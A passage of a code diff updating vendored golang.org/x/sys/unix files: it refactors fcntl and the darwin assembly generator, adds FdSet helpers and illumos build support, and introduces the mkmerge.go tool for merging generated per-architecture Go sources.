vendor/golang.org/x/sys/unix/fcntl.go
generated
vendored
12
vendor/golang.org/x/sys/unix/fcntl.go
generated
vendored
@ -9,12 +9,11 @@ package unix
|
||||
import "unsafe"
|
||||
|
||||
// fcntl64Syscall is usually SYS_FCNTL, but is overridden on 32-bit Linux
|
||||
// systems by flock_linux_32bit.go to be SYS_FCNTL64.
|
||||
// systems by fcntl_linux_32bit.go to be SYS_FCNTL64.
|
||||
var fcntl64Syscall uintptr = SYS_FCNTL
|
||||
|
||||
// FcntlInt performs a fcntl syscall on fd with the provided command and argument.
|
||||
func FcntlInt(fd uintptr, cmd, arg int) (int, error) {
|
||||
valptr, _, errno := Syscall(fcntl64Syscall, fd, uintptr(cmd), uintptr(arg))
|
||||
func fcntl(fd int, cmd, arg int) (int, error) {
|
||||
valptr, _, errno := Syscall(fcntl64Syscall, uintptr(fd), uintptr(cmd), uintptr(arg))
|
||||
var err error
|
||||
if errno != 0 {
|
||||
err = errno
|
||||
@ -22,6 +21,11 @@ func FcntlInt(fd uintptr, cmd, arg int) (int, error) {
|
||||
return int(valptr), err
|
||||
}
|
||||
|
||||
// FcntlInt performs a fcntl syscall on fd with the provided command and argument.
|
||||
func FcntlInt(fd uintptr, cmd, arg int) (int, error) {
|
||||
return fcntl(int(fd), cmd, arg)
|
||||
}
|
||||
|
||||
// FcntlFlock performs a fcntl syscall for the F_GETLK, F_SETLK or F_SETLKW command.
|
||||
func FcntlFlock(fd uintptr, cmd int, lk *Flock_t) error {
|
||||
_, _, errno := Syscall(fcntl64Syscall, fd, uintptr(cmd), uintptr(unsafe.Pointer(lk)))
|
||||
|
29
vendor/golang.org/x/sys/unix/fdset.go
generated
vendored
Normal file
29
vendor/golang.org/x/sys/unix/fdset.go
generated
vendored
Normal file
@ -0,0 +1,29 @@
|
||||
// Copyright 2019 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris
|
||||
|
||||
package unix
|
||||
|
||||
// Set adds fd to the set fds.
|
||||
func (fds *FdSet) Set(fd int) {
|
||||
fds.Bits[fd/NFDBITS] |= (1 << (uintptr(fd) % NFDBITS))
|
||||
}
|
||||
|
||||
// Clear removes fd from the set fds.
|
||||
func (fds *FdSet) Clear(fd int) {
|
||||
fds.Bits[fd/NFDBITS] &^= (1 << (uintptr(fd) % NFDBITS))
|
||||
}
|
||||
|
||||
// IsSet returns whether fd is in the set fds.
|
||||
func (fds *FdSet) IsSet(fd int) bool {
|
||||
return fds.Bits[fd/NFDBITS]&(1<<(uintptr(fd)%NFDBITS)) != 0
|
||||
}
|
||||
|
||||
// Zero clears the set fds.
|
||||
func (fds *FdSet) Zero() {
|
||||
for i := range fds.Bits {
|
||||
fds.Bits[i] = 0
|
||||
}
|
||||
}
|
19
vendor/golang.org/x/sys/unix/mkall.sh
generated
vendored
19
vendor/golang.org/x/sys/unix/mkall.sh
generated
vendored
@ -50,7 +50,7 @@ if [[ "$GOOS" = "linux" ]]; then
|
||||
# Use the Docker-based build system
|
||||
# Files generated through docker (use $cmd so you can Ctl-C the build or run)
|
||||
$cmd docker build --tag generate:$GOOS $GOOS
|
||||
$cmd docker run --interactive --tty --volume $(dirname "$(readlink -f "$0")"):/build generate:$GOOS
|
||||
$cmd docker run --interactive --tty --volume $(cd -- "$(dirname -- "$0")" && /bin/pwd):/build generate:$GOOS
|
||||
exit
|
||||
fi
|
||||
|
||||
@ -124,7 +124,7 @@ freebsd_arm)
|
||||
freebsd_arm64)
|
||||
mkerrors="$mkerrors -m64"
|
||||
mksysnum="go run mksysnum.go 'https://svn.freebsd.org/base/stable/11/sys/kern/syscalls.master'"
|
||||
mktypes="GOARCH=$GOARCH go tool cgo -godefs"
|
||||
mktypes="GOARCH=$GOARCH go tool cgo -godefs -- -fsigned-char"
|
||||
;;
|
||||
netbsd_386)
|
||||
mkerrors="$mkerrors -m32"
|
||||
@ -190,6 +190,12 @@ solaris_amd64)
|
||||
mksysnum=
|
||||
mktypes="GOARCH=$GOARCH go tool cgo -godefs"
|
||||
;;
|
||||
illumos_amd64)
|
||||
mksyscall="go run mksyscall_solaris.go"
|
||||
mkerrors=
|
||||
mksysnum=
|
||||
mktypes=
|
||||
;;
|
||||
*)
|
||||
echo 'unrecognized $GOOS_$GOARCH: ' "$GOOSARCH" 1>&2
|
||||
exit 1
|
||||
@ -212,9 +218,16 @@ esac
|
||||
echo "$mksyscall -tags $GOOS,$GOARCH $syscall_goos $GOOSARCH_in && gofmt -w zsyscall_$GOOSARCH.go && gofmt -w zsyscall_"$GOOSARCH"_gccgo.go && gofmt -w zsyscall_"$GOOSARCH"_gc.go " ;
|
||||
elif [ "$GOOS" == "darwin" ]; then
|
||||
# pre-1.12, direct syscalls
|
||||
echo "$mksyscall -tags $GOOS,$GOARCH,!go1.12 $syscall_goos $GOOSARCH_in |gofmt >zsyscall_$GOOSARCH.1_11.go";
|
||||
echo "$mksyscall -tags $GOOS,$GOARCH,!go1.12 $syscall_goos syscall_darwin_${GOARCH}.1_11.go $GOOSARCH_in |gofmt >zsyscall_$GOOSARCH.1_11.go";
|
||||
# 1.12 and later, syscalls via libSystem
|
||||
echo "$mksyscall -tags $GOOS,$GOARCH,go1.12 $syscall_goos $GOOSARCH_in |gofmt >zsyscall_$GOOSARCH.go";
|
||||
# 1.13 and later, syscalls via libSystem (including syscallPtr)
|
||||
echo "$mksyscall -tags $GOOS,$GOARCH,go1.13 syscall_darwin.1_13.go |gofmt >zsyscall_$GOOSARCH.1_13.go";
|
||||
elif [ "$GOOS" == "illumos" ]; then
|
||||
# illumos code generation requires a --illumos switch
|
||||
echo "$mksyscall -illumos -tags illumos,$GOARCH syscall_illumos.go |gofmt > zsyscall_illumos_$GOARCH.go";
|
||||
# illumos implies solaris, so solaris code generation is also required
|
||||
echo "$mksyscall -tags solaris,$GOARCH syscall_solaris.go syscall_solaris_$GOARCH.go |gofmt >zsyscall_solaris_$GOARCH.go";
|
||||
else
|
||||
echo "$mksyscall -tags $GOOS,$GOARCH $syscall_goos $GOOSARCH_in |gofmt >zsyscall_$GOOSARCH.go";
|
||||
fi
|
||||
|
61
vendor/golang.org/x/sys/unix/mkasm_darwin.go
generated
vendored
61
vendor/golang.org/x/sys/unix/mkasm_darwin.go
generated
vendored
@ -17,6 +17,34 @@ import (
|
||||
"strings"
|
||||
)
|
||||
|
||||
func writeASMFile(in string, fileName string, buildTags string) {
|
||||
trampolines := map[string]bool{}
|
||||
|
||||
var out bytes.Buffer
|
||||
|
||||
fmt.Fprintf(&out, "// go run mkasm_darwin.go %s\n", strings.Join(os.Args[1:], " "))
|
||||
fmt.Fprintf(&out, "// Code generated by the command above; DO NOT EDIT.\n")
|
||||
fmt.Fprintf(&out, "\n")
|
||||
fmt.Fprintf(&out, "// +build %s\n", buildTags)
|
||||
fmt.Fprintf(&out, "\n")
|
||||
fmt.Fprintf(&out, "#include \"textflag.h\"\n")
|
||||
for _, line := range strings.Split(in, "\n") {
|
||||
if !strings.HasPrefix(line, "func ") || !strings.HasSuffix(line, "_trampoline()") {
|
||||
continue
|
||||
}
|
||||
fn := line[5 : len(line)-13]
|
||||
if !trampolines[fn] {
|
||||
trampolines[fn] = true
|
||||
fmt.Fprintf(&out, "TEXT ·%s_trampoline(SB),NOSPLIT,$0-0\n", fn)
|
||||
fmt.Fprintf(&out, "\tJMP\t%s(SB)\n", fn)
|
||||
}
|
||||
}
|
||||
err := ioutil.WriteFile(fileName, out.Bytes(), 0644)
|
||||
if err != nil {
|
||||
log.Fatalf("can't write %s: %s", fileName, err)
|
||||
}
|
||||
}
|
||||
|
||||
func main() {
|
||||
in1, err := ioutil.ReadFile("syscall_darwin.go")
|
||||
if err != nil {
|
||||
@ -33,29 +61,18 @@ func main() {
|
||||
}
|
||||
in := string(in1) + string(in2) + string(in3)
|
||||
|
||||
trampolines := map[string]bool{}
|
||||
writeASMFile(in, fmt.Sprintf("zsyscall_darwin_%s.s", arch), "go1.12")
|
||||
|
||||
var out bytes.Buffer
|
||||
|
||||
fmt.Fprintf(&out, "// go run mkasm_darwin.go %s\n", strings.Join(os.Args[1:], " "))
|
||||
fmt.Fprintf(&out, "// Code generated by the command above; DO NOT EDIT.\n")
|
||||
fmt.Fprintf(&out, "\n")
|
||||
fmt.Fprintf(&out, "// +build go1.12\n")
|
||||
fmt.Fprintf(&out, "\n")
|
||||
fmt.Fprintf(&out, "#include \"textflag.h\"\n")
|
||||
for _, line := range strings.Split(in, "\n") {
|
||||
if !strings.HasPrefix(line, "func ") || !strings.HasSuffix(line, "_trampoline()") {
|
||||
continue
|
||||
}
|
||||
fn := line[5 : len(line)-13]
|
||||
if !trampolines[fn] {
|
||||
trampolines[fn] = true
|
||||
fmt.Fprintf(&out, "TEXT ·%s_trampoline(SB),NOSPLIT,$0-0\n", fn)
|
||||
fmt.Fprintf(&out, "\tJMP\t%s(SB)\n", fn)
|
||||
}
|
||||
}
|
||||
err = ioutil.WriteFile(fmt.Sprintf("zsyscall_darwin_%s.s", arch), out.Bytes(), 0644)
|
||||
in1, err = ioutil.ReadFile("syscall_darwin.1_13.go")
|
||||
if err != nil {
|
||||
log.Fatalf("can't write zsyscall_darwin_%s.s: %s", arch, err)
|
||||
log.Fatalf("can't open syscall_darwin.1_13.go: %s", err)
|
||||
}
|
||||
in2, err = ioutil.ReadFile(fmt.Sprintf("zsyscall_darwin_%s.1_13.go", arch))
|
||||
if err != nil {
|
||||
log.Fatalf("can't open zsyscall_darwin_%s.1_13.go: %s", arch, err)
|
||||
}
|
||||
|
||||
in = string(in1) + string(in2)
|
||||
|
||||
writeASMFile(in, fmt.Sprintf("zsyscall_darwin_%s.1_13.s", arch), "go1.13")
|
||||
}
|
||||
|
19
vendor/golang.org/x/sys/unix/mkerrors.sh
generated
vendored
19
vendor/golang.org/x/sys/unix/mkerrors.sh
generated
vendored
@ -44,6 +44,7 @@ includes_AIX='
|
||||
#include <sys/stropts.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/poll.h>
|
||||
#include <sys/select.h>
|
||||
#include <sys/termio.h>
|
||||
#include <termios.h>
|
||||
#include <fcntl.h>
|
||||
@ -104,6 +105,7 @@ includes_FreeBSD='
|
||||
#include <sys/capsicum.h>
|
||||
#include <sys/param.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/disk.h>
|
||||
#include <sys/event.h>
|
||||
#include <sys/select.h>
|
||||
#include <sys/socket.h>
|
||||
@ -185,16 +187,19 @@ struct ltchars {
|
||||
#include <sys/select.h>
|
||||
#include <sys/signalfd.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/uio.h>
|
||||
#include <sys/xattr.h>
|
||||
#include <linux/bpf.h>
|
||||
#include <linux/can.h>
|
||||
#include <linux/capability.h>
|
||||
#include <linux/cryptouser.h>
|
||||
#include <linux/devlink.h>
|
||||
#include <linux/errqueue.h>
|
||||
#include <linux/falloc.h>
|
||||
#include <linux/fanotify.h>
|
||||
#include <linux/filter.h>
|
||||
#include <linux/fs.h>
|
||||
#include <linux/fscrypt.h>
|
||||
#include <linux/genetlink.h>
|
||||
#include <linux/hdreg.h>
|
||||
#include <linux/icmpv6.h>
|
||||
@ -276,6 +281,11 @@ struct ltchars {
|
||||
// for the tipc_subscr timeout __u32 field.
|
||||
#undef TIPC_WAIT_FOREVER
|
||||
#define TIPC_WAIT_FOREVER 0xffffffff
|
||||
|
||||
// Copied from linux/l2tp.h
|
||||
// Including linux/l2tp.h here causes conflicts between linux/in.h
|
||||
// and netinet/in.h included via net/route.h above.
|
||||
#define IPPROTO_L2TP 115
|
||||
'
|
||||
|
||||
includes_NetBSD='
|
||||
@ -482,8 +492,9 @@ ccflags="$@"
|
||||
$2 ~ /^TCSET/ ||
|
||||
$2 ~ /^TC(FLSH|SBRKP?|XONC)$/ ||
|
||||
$2 !~ "RTF_BITS" &&
|
||||
$2 ~ /^(IFF|IFT|NET_RT|RTM|RTF|RTV|RTA|RTAX)_/ ||
|
||||
$2 ~ /^(IFF|IFT|NET_RT|RTM(GRP)?|RTF|RTV|RTA|RTAX)_/ ||
|
||||
$2 ~ /^BIOC/ ||
|
||||
$2 ~ /^DIOC/ ||
|
||||
$2 ~ /^RUSAGE_(SELF|CHILDREN|THREAD)/ ||
|
||||
$2 ~ /^RLIMIT_(AS|CORE|CPU|DATA|FSIZE|LOCKS|MEMLOCK|MSGQUEUE|NICE|NOFILE|NPROC|RSS|RTPRIO|RTTIME|SIGPENDING|STACK)|RLIM_INFINITY/ ||
|
||||
$2 ~ /^PRIO_(PROCESS|PGRP|USER)/ ||
|
||||
@ -494,7 +505,9 @@ ccflags="$@"
|
||||
$2 ~ /^CAN_/ ||
|
||||
$2 ~ /^CAP_/ ||
|
||||
$2 ~ /^ALG_/ ||
|
||||
$2 ~ /^FS_(POLICY_FLAGS|KEY_DESC|ENCRYPTION_MODE|[A-Z0-9_]+_KEY_SIZE|IOC_(GET|SET)_ENCRYPTION)/ ||
|
||||
$2 ~ /^FS_(POLICY_FLAGS|KEY_DESC|ENCRYPTION_MODE|[A-Z0-9_]+_KEY_SIZE)/ ||
|
||||
$2 ~ /^FS_IOC_.*ENCRYPTION/ ||
|
||||
$2 ~ /^FSCRYPT_/ ||
|
||||
$2 ~ /^GRND_/ ||
|
||||
$2 ~ /^RND/ ||
|
||||
$2 ~ /^KEY_(SPEC|REQKEY_DEFL)_/ ||
|
||||
@ -521,9 +534,11 @@ ccflags="$@"
|
||||
$2 ~ /^WDIOC_/ ||
|
||||
$2 ~ /^NFN/ ||
|
||||
$2 ~ /^XDP_/ ||
|
||||
$2 ~ /^RWF_/ ||
|
||||
$2 ~ /^(HDIO|WIN|SMART)_/ ||
|
||||
$2 ~ /^CRYPTO_/ ||
|
||||
$2 ~ /^TIPC_/ ||
|
||||
$2 ~ /^DEVLINK_/ ||
|
||||
$2 !~ "WMESGLEN" &&
|
||||
$2 ~ /^W[A-Z0-9]+$/ ||
|
||||
$2 ~/^PPPIOC/ ||
|
||||
|
521
vendor/golang.org/x/sys/unix/mkmerge.go
generated
vendored
Normal file
521
vendor/golang.org/x/sys/unix/mkmerge.go
generated
vendored
Normal file
@ -0,0 +1,521 @@
|
||||
// Copyright 2020 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
// +build ignore
|
||||
|
||||
// mkmerge.go parses generated source files and merges common
|
||||
// consts, funcs, and types into a common source file, per GOOS.
|
||||
//
|
||||
// Usage:
|
||||
// $ go run mkmerge.go -out MERGED FILE [FILE ...]
|
||||
//
|
||||
// Example:
|
||||
// # Remove all common consts, funcs, and types from zerrors_linux_*.go
|
||||
// # and write the common code into zerrors_linux.go
|
||||
// $ go run mkmerge.go -out zerrors_linux.go zerrors_linux_*.go
|
||||
//
|
||||
// mkmerge.go performs the merge in the following steps:
|
||||
// 1. Construct the set of common code that is idential in all
|
||||
// architecture-specific files.
|
||||
// 2. Write this common code to the merged file.
|
||||
// 3. Remove the common code from all architecture-specific files.
|
||||
package main
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"flag"
|
||||
"fmt"
|
||||
"go/ast"
|
||||
"go/format"
|
||||
"go/parser"
|
||||
"go/token"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
const validGOOS = "aix|darwin|dragonfly|freebsd|linux|netbsd|openbsd|solaris"
|
||||
|
||||
// getValidGOOS returns GOOS, true if filename ends with a valid "_GOOS.go"
|
||||
func getValidGOOS(filename string) (string, bool) {
|
||||
matches := regexp.MustCompile(`_(` + validGOOS + `)\.go$`).FindStringSubmatch(filename)
|
||||
if len(matches) != 2 {
|
||||
return "", false
|
||||
}
|
||||
return matches[1], true
|
||||
}
|
||||
|
||||
// codeElem represents an ast.Decl in a comparable way.
|
||||
type codeElem struct {
|
||||
tok token.Token // e.g. token.CONST, token.TYPE, or token.FUNC
|
||||
src string // the declaration formatted as source code
|
||||
}
|
||||
|
||||
// newCodeElem returns a codeElem based on tok and node, or an error is returned.
|
||||
func newCodeElem(tok token.Token, node ast.Node) (codeElem, error) {
|
||||
var b strings.Builder
|
||||
err := format.Node(&b, token.NewFileSet(), node)
|
||||
if err != nil {
|
||||
return codeElem{}, err
|
||||
}
|
||||
return codeElem{tok, b.String()}, nil
|
||||
}
|
||||
|
||||
// codeSet is a set of codeElems
|
||||
type codeSet struct {
|
||||
set map[codeElem]bool // true for all codeElems in the set
|
||||
}
|
||||
|
||||
// newCodeSet returns a new codeSet
|
||||
func newCodeSet() *codeSet { return &codeSet{make(map[codeElem]bool)} }
|
||||
|
||||
// add adds elem to c
|
||||
func (c *codeSet) add(elem codeElem) { c.set[elem] = true }
|
||||
|
||||
// has returns true if elem is in c
|
||||
func (c *codeSet) has(elem codeElem) bool { return c.set[elem] }
|
||||
|
||||
// isEmpty returns true if the set is empty
|
||||
func (c *codeSet) isEmpty() bool { return len(c.set) == 0 }
|
||||
|
||||
// intersection returns a new set which is the intersection of c and a
|
||||
func (c *codeSet) intersection(a *codeSet) *codeSet {
|
||||
res := newCodeSet()
|
||||
|
||||
for elem := range c.set {
|
||||
if a.has(elem) {
|
||||
res.add(elem)
|
||||
}
|
||||
}
|
||||
return res
|
||||
}
|
||||
|
||||
// keepCommon is a filterFn for filtering the merged file with common declarations.
|
||||
func (c *codeSet) keepCommon(elem codeElem) bool {
|
||||
switch elem.tok {
|
||||
case token.VAR:
|
||||
// Remove all vars from the merged file
|
||||
return false
|
||||
case token.CONST, token.TYPE, token.FUNC, token.COMMENT:
|
||||
// Remove arch-specific consts, types, functions, and file-level comments from the merged file
|
||||
return c.has(elem)
|
||||
case token.IMPORT:
|
||||
// Keep imports, they are handled by filterImports
|
||||
return true
|
||||
}
|
||||
|
||||
log.Fatalf("keepCommon: invalid elem %v", elem)
|
||||
return true
|
||||
}
|
||||
|
||||
// keepArchSpecific is a filterFn for filtering the GOARC-specific files.
|
||||
func (c *codeSet) keepArchSpecific(elem codeElem) bool {
|
||||
switch elem.tok {
|
||||
case token.CONST, token.TYPE, token.FUNC:
|
||||
// Remove common consts, types, or functions from the arch-specific file
|
||||
return !c.has(elem)
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
// srcFile represents a source file
|
||||
type srcFile struct {
|
||||
name string
|
||||
src []byte
|
||||
}
|
||||
|
||||
// filterFn is a helper for filter
|
||||
type filterFn func(codeElem) bool
|
||||
|
||||
// filter parses and filters Go source code from src, removing top
|
||||
// level declarations using keep as predicate.
|
||||
// For src parameter, please see docs for parser.ParseFile.
|
||||
func filter(src interface{}, keep filterFn) ([]byte, error) {
|
||||
// Parse the src into an ast
|
||||
fset := token.NewFileSet()
|
||||
f, err := parser.ParseFile(fset, "", src, parser.ParseComments)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
cmap := ast.NewCommentMap(fset, f, f.Comments)
|
||||
|
||||
// Group const/type specs on adjacent lines
|
||||
var groups specGroups = make(map[string]int)
|
||||
var groupID int
|
||||
|
||||
decls := f.Decls
|
||||
f.Decls = f.Decls[:0]
|
||||
for _, decl := range decls {
|
||||
switch decl := decl.(type) {
|
||||
case *ast.GenDecl:
|
||||
// Filter imports, consts, types, vars
|
||||
specs := decl.Specs
|
||||
decl.Specs = decl.Specs[:0]
|
||||
for i, spec := range specs {
|
||||
elem, err := newCodeElem(decl.Tok, spec)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Create new group if there are empty lines between this and the previous spec
|
||||
if i > 0 && fset.Position(specs[i-1].End()).Line < fset.Position(spec.Pos()).Line-1 {
|
||||
groupID++
|
||||
}
|
||||
|
||||
// Check if we should keep this spec
|
||||
if keep(elem) {
|
||||
decl.Specs = append(decl.Specs, spec)
|
||||
groups.add(elem.src, groupID)
|
||||
}
|
||||
}
|
||||
// Check if we should keep this decl
|
||||
if len(decl.Specs) > 0 {
|
||||
f.Decls = append(f.Decls, decl)
|
||||
}
|
||||
case *ast.FuncDecl:
|
||||
// Filter funcs
|
||||
elem, err := newCodeElem(token.FUNC, decl)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if keep(elem) {
|
||||
f.Decls = append(f.Decls, decl)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Filter file level comments
|
||||
if cmap[f] != nil {
|
||||
commentGroups := cmap[f]
|
||||
cmap[f] = cmap[f][:0]
|
||||
for _, cGrp := range commentGroups {
|
||||
if keep(codeElem{token.COMMENT, cGrp.Text()}) {
|
||||
cmap[f] = append(cmap[f], cGrp)
|
||||
}
|
||||
}
|
||||
}
|
||||
f.Comments = cmap.Filter(f).Comments()
|
||||
|
||||
// Generate code for the filtered ast
|
||||
var buf bytes.Buffer
|
||||
if err = format.Node(&buf, fset, f); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
groupedSrc, err := groups.filterEmptyLines(&buf)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return filterImports(groupedSrc)
|
||||
}
|
||||
|
||||
// getCommonSet returns the set of consts, types, and funcs that are present in every file.
|
||||
func getCommonSet(files []srcFile) (*codeSet, error) {
|
||||
if len(files) == 0 {
|
||||
return nil, fmt.Errorf("no files provided")
|
||||
}
|
||||
// Use the first architecture file as the baseline
|
||||
baseSet, err := getCodeSet(files[0].src)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Compare baseline set with other architecture files: discard any element,
|
||||
// that doesn't exist in other architecture files.
|
||||
for _, f := range files[1:] {
|
||||
set, err := getCodeSet(f.src)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
baseSet = baseSet.intersection(set)
|
||||
}
|
||||
return baseSet, nil
|
||||
}
|
||||
|
||||
// getCodeSet returns the set of all top-level consts, types, and funcs from src.
|
||||
// src must be string, []byte, or io.Reader (see go/parser.ParseFile docs)
|
||||
func getCodeSet(src interface{}) (*codeSet, error) {
|
||||
set := newCodeSet()
|
||||
|
||||
fset := token.NewFileSet()
|
||||
f, err := parser.ParseFile(fset, "", src, parser.ParseComments)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
for _, decl := range f.Decls {
|
||||
switch decl := decl.(type) {
|
||||
case *ast.GenDecl:
|
||||
// Add const, and type declarations
|
||||
if !(decl.Tok == token.CONST || decl.Tok == token.TYPE) {
|
||||
break
|
||||
}
|
||||
|
||||
for _, spec := range decl.Specs {
|
||||
elem, err := newCodeElem(decl.Tok, spec)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
set.add(elem)
|
||||
}
|
||||
case *ast.FuncDecl:
|
||||
// Add func declarations
|
||||
elem, err := newCodeElem(token.FUNC, decl)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
set.add(elem)
|
||||
}
|
||||
}
|
||||
|
||||
// Add file level comments
|
||||
cmap := ast.NewCommentMap(fset, f, f.Comments)
|
||||
for _, cGrp := range cmap[f] {
|
||||
set.add(codeElem{token.COMMENT, cGrp.Text()})
|
||||
}
|
||||
|
||||
return set, nil
|
||||
}
|
||||
|
||||
// importName returns the identifier (PackageName) for an imported package
|
||||
func importName(iSpec *ast.ImportSpec) (string, error) {
|
||||
if iSpec.Name == nil {
|
||||
name, err := strconv.Unquote(iSpec.Path.Value)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return path.Base(name), nil
|
||||
}
|
||||
return iSpec.Name.Name, nil
|
||||
}
|
||||
|
||||
// specGroups tracks grouped const/type specs with a map of line: groupID pairs
|
||||
type specGroups map[string]int
|
||||
|
||||
// add spec source to group
|
||||
func (s specGroups) add(src string, groupID int) error {
|
||||
srcBytes, err := format.Source(bytes.TrimSpace([]byte(src)))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
s[string(srcBytes)] = groupID
|
||||
return nil
|
||||
}
|
||||
|
||||
// filterEmptyLines removes empty lines within groups of const/type specs.
|
||||
// Returns the filtered source.
|
||||
func (s specGroups) filterEmptyLines(src io.Reader) ([]byte, error) {
|
||||
scanner := bufio.NewScanner(src)
|
||||
var out bytes.Buffer
|
||||
|
||||
var emptyLines bytes.Buffer
|
||||
prevGroupID := -1 // Initialize to invalid group
|
||||
for scanner.Scan() {
|
||||
line := bytes.TrimSpace(scanner.Bytes())
|
||||
|
||||
if len(line) == 0 {
|
||||
fmt.Fprintf(&emptyLines, "%s\n", scanner.Bytes())
|
||||
continue
|
||||
}
|
||||
|
||||
// Discard emptyLines if previous non-empty line belonged to the same
|
||||
// group as this line
|
||||
if src, err := format.Source(line); err == nil {
|
||||
groupID, ok := s[string(src)]
|
||||
if ok && groupID == prevGroupID {
|
||||
emptyLines.Reset()
|
||||
}
|
||||
prevGroupID = groupID
|
||||
}
|
||||
|
||||
emptyLines.WriteTo(&out)
|
||||
fmt.Fprintf(&out, "%s\n", scanner.Bytes())
|
||||
}
|
||||
if err := scanner.Err(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out.Bytes(), nil
|
||||
}
|
||||
|
||||
// filterImports removes unused imports from fileSrc, and returns a formatted src.
|
||||
func filterImports(fileSrc []byte) ([]byte, error) {
|
||||
fset := token.NewFileSet()
|
||||
file, err := parser.ParseFile(fset, "", fileSrc, parser.ParseComments)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
cmap := ast.NewCommentMap(fset, file, file.Comments)
|
||||
|
||||
// create set of references to imported identifiers
|
||||
keepImport := make(map[string]bool)
|
||||
for _, u := range file.Unresolved {
|
||||
keepImport[u.Name] = true
|
||||
}
|
||||
|
||||
// filter import declarations
|
||||
decls := file.Decls
|
||||
file.Decls = file.Decls[:0]
|
||||
for _, decl := range decls {
|
||||
importDecl, ok := decl.(*ast.GenDecl)
|
||||
|
||||
// Keep non-import declarations
|
||||
if !ok || importDecl.Tok != token.IMPORT {
|
||||
file.Decls = append(file.Decls, decl)
|
||||
continue
|
||||
}
|
||||
|
||||
// Filter the import specs
|
||||
specs := importDecl.Specs
|
||||
importDecl.Specs = importDecl.Specs[:0]
|
||||
for _, spec := range specs {
|
||||
iSpec := spec.(*ast.ImportSpec)
|
||||
name, err := importName(iSpec)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if keepImport[name] {
|
||||
importDecl.Specs = append(importDecl.Specs, iSpec)
|
||||
}
|
||||
}
|
||||
if len(importDecl.Specs) > 0 {
|
||||
file.Decls = append(file.Decls, importDecl)
|
||||
}
|
||||
}
|
||||
|
||||
// filter file.Imports
|
||||
imports := file.Imports
|
||||
file.Imports = file.Imports[:0]
|
||||
for _, spec := range imports {
|
||||
name, err := importName(spec)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if keepImport[name] {
|
||||
file.Imports = append(file.Imports, spec)
|
||||
}
|
||||
}
|
||||
file.Comments = cmap.Filter(file).Comments()
|
||||
|
||||
var buf bytes.Buffer
|
||||
err = format.Node(&buf, fset, file)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return buf.Bytes(), nil
|
||||
}
|
||||
|
||||
// merge extracts duplicate code from archFiles and merges it to mergeFile.
|
||||
// 1. Construct commonSet: the set of code that is idential in all archFiles.
|
||||
// 2. Write the code in commonSet to mergedFile.
|
||||
// 3. Remove the commonSet code from all archFiles.
|
||||
func merge(mergedFile string, archFiles ...string) error {
|
||||
// extract and validate the GOOS part of the merged filename
|
||||
goos, ok := getValidGOOS(mergedFile)
|
||||
if !ok {
|
||||
return fmt.Errorf("invalid GOOS in merged file name %s", mergedFile)
|
||||
}
|
||||
|
||||
// Read architecture files
|
||||
var inSrc []srcFile
|
||||
for _, file := range archFiles {
|
||||
src, err := ioutil.ReadFile(file)
|
||||
if err != nil {
|
||||
return fmt.Errorf("cannot read archfile %s: %w", file, err)
|
||||
}
|
||||
|
||||
inSrc = append(inSrc, srcFile{file, src})
|
||||
}
|
||||
|
||||
// 1. Construct the set of top-level declarations common for all files
|
||||
commonSet, err := getCommonSet(inSrc)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if commonSet.isEmpty() {
|
||||
// No common code => do not modify any files
|
||||
return nil
|
||||
}
|
||||
|
||||
// 2. Write the merged file
|
||||
mergedSrc, err := filter(inSrc[0].src, commonSet.keepCommon)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
f, err := os.Create(mergedFile)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
buf := bufio.NewWriter(f)
|
||||
fmt.Fprintln(buf, "// Code generated by mkmerge.go; DO NOT EDIT.")
|
||||
fmt.Fprintln(buf)
|
||||
fmt.Fprintf(buf, "// +build %s\n", goos)
|
||||
fmt.Fprintln(buf)
|
||||
buf.Write(mergedSrc)
|
||||
|
||||
err = buf.Flush()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
err = f.Close()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// 3. Remove duplicate declarations from the architecture files
|
||||
for _, inFile := range inSrc {
|
||||
src, err := filter(inFile.src, commonSet.keepArchSpecific)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
err = ioutil.WriteFile(inFile.name, src, 0644)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func main() {
|
||||
var mergedFile string
|
||||
